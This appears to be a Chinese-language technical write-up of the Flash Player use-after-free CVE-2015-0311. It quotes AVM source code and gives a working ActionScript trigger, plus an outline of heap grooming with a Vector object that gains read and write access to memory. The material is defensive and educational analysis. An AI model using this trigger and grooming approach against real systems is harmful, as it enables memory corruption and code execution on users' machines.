导语:Adobe公司在2015年1月份修复了一个影响Adobe Flash Player 16.0.0.287以及更早版本的UAF漏洞,即CVE-2015-0311。

漏洞描述

Adobe公司在2015年1月份修复了一个影响Adobe Flash Player 16.0.0.287以及更早版本的UAF漏洞,即CVE-2015-0311。攻击者可以通过精心构造的SWF Flash文件触发该漏洞,导致用户在访问网站时受到攻击。

我们发现ActionScript Virtual Machine (AVM)在ByteArray::UncompressViaZlibVariant方法中会解码ByteArray中的数据,该数据之前使用AS代码zlib库编码过。该方法使用ByteArray::Grower对象会向目标缓冲区中动态的存放解码后的数据。

当目标缓冲区的数据填写完毕后,Grower对象的析构函数将会通知所有使用ByteArray 编码数据的对象必须为新近增长的缓冲区。

但是问题出现在zlib库的inflate函数,因为ByteArray中的数据不是有效的zlib-compressed数据。这样的结果就会导致ByteArray::UncompressViaZlibVariant()方法释放掉目标缓冲区,然后重新存储ByteArray中的数据。

然而,其他ByteArray数据使用者(ApplicationDomain.currentDomain.domainMemory)不知道该缓冲区已经释放掉了,因此ApplicationDomain.currentDomain.domainMemory中将保持一个该释放缓冲区的悬挂指针。

漏洞详细分析

我们首先需要知道当AS代码通过Uncompress()方法调用ByteArray对象时发生了什么。

当解码ByteArray时,ByteArray::Uncompress()方法会调用解码函数进行解码。我们看看zlib的一个例子。

void  ByteArray::Uncompress(CompressionAlgorithm algorithm)
    {
        switch (algorithm) {
        case k_lzma:
            UncompressViaLzma();
            break;
        case k_zlib:
        default:
            UncompressViaZlibVariant(algorithm);
            break;
        }

ByteArray::UncompressViaZlibVariant()方法调用zlib的库函数inflate()循环解码ByteArray数据块,代码片段如下:

void  ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm)
    {
            [...]
            while (error == Z_OK)
            {
                stream.next_out = scratch;
                stream.avail_out =  kScratchSize;
                error = inflate(&stream,  Z_NO_FLUSH);
                Write(scratch, kScratchSize -  stream.avail_out);
            }
 
            inflateEnd(&stream);
            [...]

调用zlib的库函数inflate()后,ByteArray类中的Write()方法将解码后的数据拷贝到目标缓冲区:

void  ByteArray::Write(const void* buffer, uint32_t count)
    {
        if (count > UINT32_T_MAX -  m_position) // Do not rearrange, guards against 64-bit overflow
            ThrowMemoryError();
 
        uint32_t writeEnd = m_position +  count;
       
        Grower grower(this, writeEnd);
        grower.EnsureWritableCapacity();
       
        move_or_copy(m_buffer->array +  m_position, buffer, count);
        m_position += count;
        if (m_buffer->length <  m_position)
            m_buffer->length = m_position;
    }

可以看到,该方法实例了一个Grower()类,并调用EnsureWritableCapacity()方法增加目标缓冲区。该实例对象属于ByteArray::Write()方法,因此当该方法执行时,Grower()类也会被调用。

下面是Grower()类的析构函数。它调用ByteArray类的NotifySubscribers()方法:

ByteArray::Grower::~Grower()
    {
    if (m_oldArray !=  m_owner->m_buffer->array || m_oldLength !=  m_owner->m_buffer->length)
    {
        m_owner->NotifySubscribers();
    }
    [...]

ByteArray::NotifySubscribers()调用notifyGlobalMemoryChanged()方法确认新近增长缓冲区的地址和大小:

void  ByteArray::NotifySubscribers()
    {
        for (uint32_t i = 0, n =  m_subscribers.length(); i < n; ++i)          {            
            AvmAssert(m_buffer->length  >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE);
 
            DomainEnv* subscriber =  m_subscribers.get(i);
            if (subscriber)
            {
                 subscriber->notifyGlobalMemoryChanged(m_buffer->array,  m_buffer->length);
            }
            else
            {
                // Domain went away? remove  link
                m_subscribers.removeAt(i);
                --i;
            }
        }
    }

最后,DomainEnv::notifyGlobalMemoryChanged()方法更新全局内存的地址和大小。该方法实际上是修改ApplicationDomain.currentDomain.domainMemory的基地址和大小:

// memory  changed so go through and update all reference to both the base
    // and the size of the global memory
    void  DomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize)
    {
        AvmAssert(newBase != NULL); // real  base address
        AvmAssert(newSize >=  GLOBAL_MEMORY_MIN_SIZE); // big enough
 
        m_globalMemoryBase = newBase;
        m_globalMemorySize = (newSize >  0x7fffffff) ? 0x7fffffff : newSize;
            TELEMETRY_UINT32(toplevel()->core()->getTelemetry(),  ".mem.bytearray.alchemy",m_globalMemorySize/1024);
    }

一系列调用完毕后,重新回到ByteArray::UncompressViaZlibVariant() 方法的inflate() 和 Write()的循环体内。如果循环体内调用inflate()后的返回值不是0,则循环结束,接着就会校验数据是否完全被解码。如果出现意外,则代码回滚:调用TellGcDeleteBufferMemory() /mmfx_delete_array()释放新的缓冲区,原始的ByteArray数据重新存储,如下:

[...]
        if (error == Z_STREAM_END)
        {
        // everything is cool
        [...]
        else
        {
            // When we error:
 
            // 1) free the new buffer
             TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity);
             mmfx_delete_array(m_buffer->array);
 
            if (cShared) {
                m_buffer = origBuffer;
            }
 
            // 2) put the original data back.
            m_buffer->array    = origData;
            m_buffer->length   = origLen;
            m_buffer->capacity = origCap;
            m_position         = origPos;
             SetCopyOnWriteOwner(origCopyOnWriteOwner);
            origBuffer = NULL; // release ref  before throwing
            toplevel()->throwIOError(kCompressedDataError);
        }

然而,其他ByteArray数据使用者(ApplicationDomain.currentDomain.domainMemory)不知道该缓冲区已经释放掉了,因此ApplicationDomain.currentDomain.domainMemory中将保持一个该释放缓冲区的悬挂指针。

触发UAF漏洞

下面我们需要重新生成该悬挂指针。向ByteArray中填充数据,使用zlib库编码后,在偏移值0x200处使用垃圾数据覆盖编码后的数据,接着将该ByteArray分配给ApplicationDomain.currentDomain.domainMemory,最后调用在我们的ByteArray中调用uncompress() 方法。

可能大家会有疑问为什么要在偏移值为0x200处覆盖编码后的数据。在ByteArray数据开头放置一些有意义的数据是为了让inflate()函数正常执行,完了再实例Grower类,增长目标缓冲区。

几次inflate() 和 Write()循环后,inflate()函数会解码垃圾数据,那么会导致失败。导致代码回滚,释放新的缓冲区,导致悬挂指针的产生。

下面的代码将重现漏洞,导致ApplicationDomain.currentDomain.domainMemory引用一个释放了的缓冲区:

this.byte_array  = new ByteArray();
            this.byte_array.endian =  Endian.LITTLE_ENDIAN;
            this.byte_array.position = 0;
 
            /* Initialize the ByteArray with  some data */
            while (count < 0x2000 / 4){
                 this.byte_array.writeUnsignedInt(0xfeedface + count);
                count++;
            }
 
            /* Compress it with zlib */
            this.byte_array.compress();
 
            /* Overwrite the compressed data  with junk, starting at offset 0x200 */
            this.byte_array.position = 0x200;
            while (pos <  byte_array.length){
                 this.byte_array.writeByte(pos);
                pos++;
            }
 
            /* Create a subscriber for that  ByteArray */
             ApplicationDomain.currentDomain.domainMemory = this.byte_array;
 
            /* Trigger the bug!  ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory
            pointing to a buffer that is  freed when the decompression fails. */
            try{
                this.byte_array.uncompress();
            } catch(error:Error){
            }

下面看一下AVM源码是如何使用DomainEnv::notifyGlobalMemoryChanged()方法更新全局内存的地址和大小:

m_globalMemoryBase = newBase;
  m_globalMemorySize = (newSize >0x7fffffff) ? 0x7fffffff : newSize;

m_globalMemoryBase(悬挂指针)和m_globalMemorySize是DomainEnv类的成员。通过下面的方法访问数据:

REALLY_INLINEuint8_t* globalMemoryBase() const { return m_globalMemoryBase; }
REALLY_INLINEuint32_t globalMemorySize() const { return m_globalMemorySize; }

在AVM的源码中该方法的引用是位于core/Interpreter.cpp文件中:

#define MOPS_LOAD_INT(addr, type, call,  result) 
            MOPS_RANGE_CHECK(addr, type) 
            union { const uint8_t* p8; const  type* p; }; 
            p8 =  envDomain->globalMemoryBase() + (addr); 
            result = *p;
 
    #define MOPS_STORE_INT(addr, type, call,  value) 
            MOPS_RANGE_CHECK(addr, type) 
            union { uint8_t* p8; type* p; };  
            p8 =  envDomain->globalMemoryBase() + (addr); 
            *p = (type)(value);

下面的这些宏文件也是在同一个文件中使用:

INSTR(li32) {
                i1 =  AvmCore::integer(sp[0]);       // i1 =  addr
                MOPS_LOAD_INT(i1, int32_t, li32, i32l); //  i32l = result
                sp[0] =  core->intToAtom(i32l);
                NEXT;
            }
            [...]
            INSTR(si32) {
                i32l =  AvmCore::integer(sp[-1]);    // i32l =  value
                i1 =  AvmCore::integer(sp[0]);       // i1 =  addr
                MOPS_STORE_INT(i1, uint32_t,  si32, i32l);
                sp -= 2;
                NEXT;
            }

因此,为了引用该悬挂指针,我们需要使用low-level AVM指令,例如li8/si8, li16/si16, li32/si32等包中。

li8/si8,li16/si16, li32/si32指令可以在ApplicationDomain.currentDomain.domainMemory中使用,AS源码片段如下:

/* Read a 32-bit  integer from m_globalMemoryBase + 0x20 */
    var some_value:uint = li32(0x20);
 
    /* Overwrite the 32-bit integer at  m_globalMemoryBase + 0x20 with 0xffffffff */
    si32(0xffffffff, 0x20);

漏洞利用

在inflate() 和 Write()函数体循环内下一个断点:

第一次断下后,进入ByteArray::Write()函数后再跟进DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的,该方法在Flash OCX文件中:

[EDX + 0x14]中存储的是缓冲区的地址,[EDX + 0x18]存储的是缓冲区的大小。

在我测试的环境中,ApplicationDomain.currentDomain.domainMemory更新过程如下:缓冲区地址是0x0a98c000,大小是0x1c32。

接着调用inflate()出错代码0xfffffffb,代码回滚:

进入该函数体内,可以看到是如何使用TellGcDeleteBufferMemory()函数释放缓冲区的:

注意到TellGcDeleteBufferMemory参数值为0x0a98c000和0x200f。0x200f显然是缓冲区大小,和缓冲区的长度不一样了(之前提到的0x1c32)。具体可以在core/ByteArrayGlue.h文件中看到:

class Buffer : public FixedHeapRCObject
        {
        public:
            virtual void destroy();
            virtual ~Buffer();
            uint8_t* array;
            uint32_t capacity;
            uint32_t length;
        };

Buffer.capacity是一个缓冲区能够保存的最大字节数(这里是0x200f),Buffer.length是实际值(0x1c32),因此值是不同的。

TellGcDeleteBufferMemory释放缓冲区:

因此,现在缓冲区已经释放了,接下来就是要向该缓冲区内分配特定的内存对象了。我这里是创建一个新的占位符的ByteArray,大小为0x2000,接着使用clear()方法释放,最后创建一个Vector.<Object>(510 * 3)对象。

这里已经让ApplicationDomain.currentDomain.domainMemory指向了Vector对象的起始处。接着可以通过AVM的指令,例如li32/si32执行一个read-and-write操作,这样就可以读取并修改Vector对象了。

下面的具体图解展示了如何触发这个bug以及向内存中分配Vector对象,并释放缓冲区:

源链接

Hacking more

...